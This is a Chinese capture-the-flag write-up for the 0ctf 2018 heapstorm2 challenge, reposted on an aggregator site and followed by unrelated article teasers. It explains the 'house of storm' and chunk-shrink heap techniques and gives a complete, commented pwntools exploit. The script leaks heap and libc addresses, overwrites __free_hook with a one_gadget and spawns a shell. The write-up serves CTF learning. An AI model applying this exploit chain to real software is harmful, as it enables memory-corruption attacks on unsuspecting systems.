(BUUCTF)0ctf_2018_heapstorm2

文章目录

  • 前置知识
  • 整体思路
    • house of storm
      • 如何进行一次house of storm
      • house of storm原理
      • house of storm具体流程
    • chunk shrink
  • exp

前置知识

  • unsortedbin attack
  • largebin attack
  • off by null构造chunk shrink

整体思路

这道题即是house of storm。除了house of storm,本道题还需要通过chunk shrink来获得重叠指针。因此本文将分别写house of stormchunk shrink两个方面。看完了原理,可以结合我的exp,有详细每一步的注释。

house of storm

如何进行一次house of storm

你可以做到:

  • 任意地址的chunk分配

你需要完成:

  • 控制一个unsortedbinlargebin中的chunk,且unsortedbin中的要比largebin中的大

house of storm原理

一句话描述一下house of storm:通过largebin attackfake chunkheader上错位写下一个0x550x56size,并在fake chunkbk处写一个堆地址。控制unsortedbinchunkbk指向要申请的fake chunk。申请一个大小为0x50chunk,先触发largebin attack,从而根据unsortedbinbk申请到fake chunk,完成任意地址写。

这实际上分为两个部分,首先,我们要知道,unsortedbin attack并非只能在指定位置写一个libc地址,还可以类似于fastbin attack完成一个chunk的分配,只是条件比较苛刻。一句话就是需要unsortedbinbk指向的chunkbk可写,其size合法。

那么我们便可以利用largebin attack来完成这些条件:

  • largebinattack可以写两个值
  • 第一个值错位写要申请的地方的size,使得堆地址最开始的0x55或者0x56size
  • 第二个值写要申请的地方的bk,使得bk为一个可写的值
  • 然后申请大小为0x50chunk即可申请到unsortedbinbk

house of storm具体流程

  • 假设要分配到fake chunk
  • unsortedbinchunkbkfake chunk的地址
  • largebin中的chunkbkfake chunk + 0x18 - 0x10
  • largebin中的chunkbk_nextsizefake chunk + 0x3 - 0x20
  • 申请一个大小为0x50chunk

chunk shrink

上面我们提到需要控制unsortedbinlargebin中的chunk,这一部分需要获得重叠指针。

chunk shrink算是另一种off by null的利用,相比于三明治结构要比较复杂。适用于一些极端情况。

使用方法:小大小三个chunk(不能是fastbin大小),设为abcb0x510(例如),在其最末尾写fake prev_size0x500,释放b置入unsortedbin,通过a进行off by nullbsize变为0x500。申请几个加起来为0x500chunk,第一个不能为fastbin大小,例如三个为0x880x180x448,设为def。先后释放dc,将会导致最开始申请的bc合并,由此再次申请回d,再申请回e可以获得重叠的e指针。

exp

from pwn import *
from LibcSearcher import *filename = './0ctf_2018_heapstorm2'
context(log_level='debug')
local = 1
all_logs = []
elf = ELF(filename)
libc = elf.libcdef debug():for an_log in all_logs:success(an_log)pid = util.proc.pidof(sh)[0]gdb.attach(pid)pause()choice_words = 'Command: 'menu_add = 1
add_index_words = ''
add_size_words = 'Size: '
add_content_words = ''menu_del = 3
del_index_words = 'Index: 'menu_show = 4
show_index_words = 'Index: 'menu_edit = 2
edit_index_words = 'Index: '
edit_size_words = 'Size: '
edit_content_words = 'Content: 'def add(index=-1, size=-1, content=''):sh.sendlineafter(choice_words, str(menu_add))if add_index_words:sh.sendlineafter(add_index_words, str(index))if add_size_words:sh.sendlineafter(add_size_words, str(size))if add_content_words:sh.sendafter(add_content_words, content)def delete(index=-1):sh.sendlineafter(choice_words, str(menu_del))if del_index_words:sh.sendlineafter(del_index_words, str(index))def show(index=-1):sh.sendlineafter(choice_words, str(menu_show))if show_index_words:sh.sendlineafter(show_index_words, str(index))def edit(index=-1, size=-1, content=''):sh.sendlineafter(choice_words, str(menu_edit))if edit_index_words:sh.sendlineafter(edit_index_words, str(index))if edit_size_words:sh.sendlineafter(edit_size_words, str(size))if edit_content_words:sh.sendafter(edit_content_words, content)def leak_info(name, addr):output_log = '{} => {}'.format(name, hex(addr))all_logs.append(output_log)success(output_log)while True:if local:sh = process(filename)else:sh = remote('node4.buuoj.cn', )# 第一步,利用off by null来构造chunk shrink进而分别获得重叠的一个largebin和一个unsortedbin chunkadd(size=0x18) # 0add(size=0x508) # 1add(size=0x18) # 2add(size=0x20) # 3防止合并# 待会我们会将size为0x510的chunk进行off by null缩小到0x500,因此先在末尾写一个fake prev_size为0x500payload = b'a'*0x4f0 + p64(0x500)edit(index=1, size=len(payload), content=payload)# 将大小为0x510的chunk添加到unsortedbin中去delete(index=1)# 通过chunk 0进行off by null,来将unsortedbin中的大小为0x510的chunk改为0x500payload = b'a'*(0x18 - 12)edit(index=0, size=len(payload), content=payload)# 申请两个chunk,加起来为0x500,且unsortedbin此时为空了add(size=0x18) # 1add(size=0x4d8) # 4# 释放chunk1和chunk2,chunk2释放的时候由于prev_inuse=0,而prev_size为0x510,因此会将最开始的chunk0和chunk1整个部分合并delete(index=1)delete(index=2)# 再申请回来从而获得重叠指针add(size=0x18) # 1add(size=0x4d8) # 2,和4重合,大小为0x4e0add(size=0x20) # 5# 下面这一部分和上面一模一样,没有任何区别add(size=0x18) # 6add(size=0x508) # 7add(size=0x18) # 8add(size=0x20) # 9防止合并payload = b'a'*0x4f0 + p64(0x500)edit(index=7, size=len(payload), content=payload)delete(index=7)payload = b'a'*(0x18 - 12)edit(index=6, size=len(payload), content=payload)add(size=0x38) # 7add(size=0x4b8) # 10delete(index=7)delete(index=8)add(size=0x38) # 7add(size=0x4b8) # 8,和10重合,大小为0x4c0add(size=0x20) # 11# 先后将小的和大的置入unsortedbin,然后申请回大的。# 由于unsortedbin是先遍历先进入的(FIFO),因此会将小的置入largebin# 再释放大的,大的会添加到unsortedbin。现在大小为0x4e0的chunk在unsortedbin而大小为0x4c0的chunk在largebindelete(index=8)delete(index=2)add(size=0x4d8) # 2delete(index=2)# 接下来开始house of storm。# 我们设fake chunk在0x13370800前面0x20,以便于我们控制这一部分array = 0x13370800fake_chunk = array - 0x20# unsortedbin的chunk中的bk改为要申请的chunk,这里即是我们的fake chunkpayload = p64(0) + p64(fake_chunk)edit(index=4, size=len(payload), content=payload)# laregbin attack可以同时写两个值为堆地址,bk的值+0x10处,以及bk_nextsize+0x20处# 核心的点就是我们要写fake_chunk + 3的地方为一个堆地址# 因为堆地址开头要么为0x55,要么为0x56,因此错位可以写出来一个fake chunk的sizepayload = p64(0) + p64(fake_chunk + 0x18 - 0x10) # 这里是fd和bkpayload += p64(0) + p64(fake_chunk + 0x3 - 0x20) # 这里是fd_nextsize和bk_nextsizeedit(index=10, size=len(payload), content=payload)# 由于我们这里是mmap出来的空间,因此申请的chunk的mmap位必须为1,因此只有当堆地址为0x56开头才对# 因此爆破。概率为1/2try:add(size=0x48) # 2payload = p64(0)*2 + p64(0)*3 + p64(0x13377331) + p64(0x13370800)edit(index=2, size=len(payload), content=payload)except EOFError:sh.close()continue# 申请到了,开始编辑,首先将两个用于加密的值都写为0,然后数组的第三个写为0x13377331从而可以打印# 然后根据数组的排列,下一个我们写0x133707e3,这里是一个堆地址payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(0x133707e3) + p64(8)edit(index=0, size=len(payload), content=payload)# 根据排列,现在index=1的话也就是0x133707e3,便可以泄露出堆地址show(index=1)sh.recvuntil('Chunk[1]: ')heap_leak = u64(sh.recv(6).ljust(8, b'\x00'))leak_info('heap_base', heap_leak)heap_base = heap_leak - 0x40# 同理,我们再打印libc。heap_base + 0x50的地方有一个libc地址。payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(heap_base + 0x50) + p64(8)edit(index=0, size=len(payload), content=payload)show(index=1)sh.recvuntil('Chunk[1]: ')libc_leak = u64(sh.recv(6).ljust(8, b'\x00'))leak_info('libc_leak', libc_leak)libc.address = libc_leak - libc.sym['__malloc_hook'] - 0x58 - 0x10leak_info('libc.address', libc.address)# 接下来只需要以同样方式来打free_hook即可!payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(libc.sym['__free_hook']) + p64(8)edit(index=0, size=len(payload), content=payload)one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]payload = p64(libc.address + one_gadget[1])edit(index=1, size=len(payload), content=payload)delete(index=0)sh.interactive()# debug()break

参考内容

[原创]Largebin attack总结-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/644961.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

优优嗨聚:美团代运营服务,为商家赋能,打造流量转化的秘密武器

随着互联网的飞速发展,人们越来越依赖线上平台进行消费。作为国内领先的电商平台之一,美团吸引了众多商家入驻。然而,如何在竞争激烈的美团平台上脱颖而出,成为了商家们面临的一大挑战。此时,美团代运营服务应运而生&a…

HTML5和CSS3的新特性

HTML5的新特性主要是针对于以前的不足&#xff0c;增加了一些新的标签、新的表单和新的表单属性等 1&#xff0c;HTML5新增的语义化标签 <header> 头部标签 <nav> 导航标签 <article> …

《WebKit 技术内幕》学习之九(4): JavaScript引擎

4 实践——高效的JavaScript代码 4.1 编程方式 关于如何使用JavaScript语言来编写高效的代码&#xff0c;有很多铺天盖地的经验分享&#xff0c;以及很多特别好的建议&#xff0c;读者可以搜索相关的词条&#xff0c;就能获得一些你可能需要的结果。同时&#xff0c;本节希望…

记录centos安装nginx过程和问题

今天在centos上安装了nginx&#xff0c;遇到了些问题&#xff0c;记录一下。 使用yum直接安装的话安装的版本是1.20.1&#xff0c;使用源码包安装可以装到1.25.0&#xff08;最新稳定版&#xff09;。很有意思的一点是两种安装方法下安装的路径是不同的&#xff0c;且源码安装…

Java 面向对象案例 03(黑马)

代码&#xff1a; public class phoneTest {public static void main(String[] args) {phone [] arr new phone[3];phone p1 new phone("华为",6999,"白色");phone p2 new phone("vivo",4999,"蓝色");phone p3 new phone("苹…

手把手教你用深度学习做物体检测(一): 快速感受物体检测的酷炫

我们先来看看什么是物体检测&#xff0c;见下图&#xff1a; 如上图所示&#xff0c; 物体检测就是需要检测出图像中有哪些目标物体&#xff0c;并且框出其在图像中的位置。 本篇文章&#xff0c;我将会介绍如何利用训练好的物体检测模型来快速实现上图的效果&#xff0c;这里…

Pyside6中QTableWidget使用

目录 一&#xff1a;介绍&#xff1a; 二&#xff1a;演示 一&#xff1a;介绍&#xff1a; 在 PySide6 中&#xff0c;QTableWidget 是一个用于展示和编辑表格数据的控件。它提供了在窗口中创建和显示表格的功能&#xff0c;并允许用户通过单元格来编辑数据。 要使用 QTabl…

Windows 下 TFTP 服务搭建及 U-Boot 中使用 tftp 命令实现文件下载

目录 Tftpd32/64文件下载更多内容 TFTP&#xff08;Trivial File Transfer Protocol&#xff0c;简单文件传输协议&#xff09;是 TCP/IP 协议族中的一个用来在客户机与服务器之间进行简单文件传输的协议&#xff0c;提供不复杂、开销不大的文件传输服务&#xff0c;端口号为 6…

免费SSL申请和自动更新

当前是在mac下操作 安装certbot # mac下brew安装即可 brew install certbotcentos 安装 centos安装文档 申请泛解析证书 sudo certbot certonly --manual --preferred-challengesdns -d *.yourdomain.com## 输出 Saving debug log to /var/log/letsencrypt/letsencrypt.lo…

[Android] Android文件系统中存储的内容有哪些?

文章目录 前言root 文件系统/system 分区稳定性:安全性: /system/bin用来提供服务的二进制可执行文件:调试工具:UNIX 命令&#xff1a;调用 Dalvik 的脚本(upall script):/system/bin中封装的app_process脚本 厂商定制的二进制可执行文件: /system/xbin/system/lib[64]/system/…

6.php开发-个人博客项目Tp框架路由访问安全写法历史漏洞

目录 知识点 php框架——TP URL访问 Index.php-放在控制器目录下 ​编辑 Test.php--要继承一下 带参数的—————— 加入数据库代码 --不过滤 --自己写过滤 --手册&#xff08;官方&#xff09;的过滤 用TP框架找漏洞&#xff1a; 如何判断网站是thinkphp&#x…

nvm安装与使用教程

目录 nvm是什么 nvm安装 配置环境变量 更换淘宝镜像 安装node.js版本 nvm list available 显示可下载版本的部分列表 nvm install 版本号 ​编辑 nvm ls 查看已经安装的版本 ​编辑 nvm use 版本号(切换想使用的版本号) nvm是什么 nvm是node.js version management的…

mfc110.dll丢失是什么意思?全面解析mfc110.dll丢失的解决方法

在使用计算机的过程中&#xff0c;用户可能会遭遇一个常见的困扰&#xff0c;即系统提示无法找到mfc110.dll文件。这个动态链接库文件&#xff08;DLL&#xff09;是Microsoft Foundation Classes&#xff08;MFC&#xff09;库的重要组成部分&#xff0c;对于许多基于Windows的…

代码随想录刷题笔记 DAY12 | 二叉树的理论基础 | 二叉树的三种递归遍历 | 二叉树的非递归遍历 | 二叉树的广度优先搜索

Day 12 01. 二叉树的理论基础 1.1 二叉树的种类 满二叉树&#xff1a;除了叶子节点以外&#xff0c;每个节点都有两个子节点&#xff0c;整个树是被完全填满的完全二叉树&#xff1a;除了底层以外&#xff0c;其他部分是满的&#xff0c;底部可以不是满的但是必须是从左到右连…

数据结构之受限线性表

受限线性表 对于一般线性表&#xff0c;虽然必须通过遍历逐一查找再对目标位置进行增、删和查操作&#xff0c;但至少一般线性表对于可操作元素并没有限制。说到这里&#xff0c;大家应该明白了&#xff0c;所谓的受限线性表&#xff0c;就是可操作元素受到了限制。 受限线性表…

【Web前端开发基础】CSS3之Web字体、字体图标、平面转换、渐变

CSS3之Web字体、字体图标、平面转换、渐变 目录 CSS3之Web字体、字体图标、平面转换、渐变一、Web字体1.1 Web字体概述1.2 字体文件1.3 font-face 规则 二、字体图标2.1 字体图标2.2 字体图标的优点2.3 图标库2.4 下载字体包2.5 字体图标的使用步骤2.6 字体图标使用注意点2.7 上…

「 典型安全漏洞系列 」06.路径遍历(Path Traversal)详解

引言&#xff1a;什么是路径遍历&#xff1f;如何进行路径遍历攻击并规避常见防御&#xff1f;如何防止路径遍历漏洞。 1. 简介 路径遍历&#xff08;Path Traversal&#xff09;是一种安全漏洞&#xff0c;也被称为目录遍历或目录穿越、文件路径遍历。它发生在应用程序未正确…

mysql生成最近24小时整点/最近30天/最近12个月时间临时表

文章目录 生成最近24小时整点生成最近30天生成最近12个月 生成最近24小时整点 SELECT-- 每向下推1行, i比上次减去1b.*, i.*,DATE_FORMAT( DATE_SUB( NOW(), INTERVAL ( -( i : i - 1 ) ) HOUR ), %Y-%m-%d %H:00 ) AS time FROM-- 目的是生成12行数据( SELECTa FROM( SELECT…

搭建《幻兽帕鲁》服务器需要怎样配置的云服务器?

随着《幻兽帕鲁》这款游戏的日益流行&#xff0c;越来越多的玩家希望能够在自己的服务器上体验这款游戏。然而&#xff0c;搭建一个稳定、高效的游戏服务器需要仔细的规划和配置。本文将分享搭建《幻兽帕鲁》服务器所需的配置及搭建步骤&#xff0c;助力大家获得更加畅快的游戏…